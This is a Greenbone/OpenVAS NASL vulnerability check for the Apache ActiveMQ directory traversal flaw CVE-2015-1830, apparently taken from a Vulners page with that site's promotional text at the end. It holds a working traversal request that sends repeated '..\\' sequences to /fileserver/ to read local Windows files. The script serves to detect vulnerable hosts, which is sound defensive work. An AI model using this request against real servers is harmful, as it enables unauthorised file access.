# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apache:activemq";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105331");
script_version("2026-02-24T05:57:09+0000");
script_cve_id("CVE-2015-1830");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_name("Apache ActiveMQ 5.x < 5.11.2 Directory Traversal Vulnerability - Active Check");
script_tag(name:"last_modification", value:"2026-02-24 05:57:09 +0000 (Tue, 24 Feb 2026)");
script_tag(name:"creation_date", value:"2015-08-24 13:28:31 +0200 (Mon, 24 Aug 2015)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2015 Greenbone AG");
script_dependencies("gb_apache_activemq_consolidation.nasl", "os_detection.nasl");
script_require_ports("Services/www", 8161);
script_mandatory_keys("apache/activemq/detected", "Host/runs_windows");
script_xref(name:"URL", value:"https://web.archive.org/web/20210120171515/http://www.securityfocus.com/bid/76452");
script_tag(name:"impact", value:"A remote attacker could exploit this vulnerability using directory-
traversal characters ('../') to create arbitrary files in the target directory and perform other attacks.");
script_tag(name:"vuldetect", value:"Try to read a local file via traversal characters.");
script_tag(name:"solution", value:"Updates are available.");
script_tag(name:"summary", value:"Apache ActiveMQ is prone to a directory traversal vulnerability because it fails to
sufficiently sanitize user-supplied input.");
script_tag(name:"affected", value:"Apache ActiveMQ 5.x versions prior to 5.11.2 are vulnerable.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) ) # nb: To have a reference to the Detection-VT
exit( 0 );
files = traversal_files( "windows" );
foreach file( keys( files ) ) {
url = "/fileserver/" + crap( data:"..\\", length:18 ) + "/" + files[file];
if( http_vuln_check( port:port, url:url, pattern:file ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation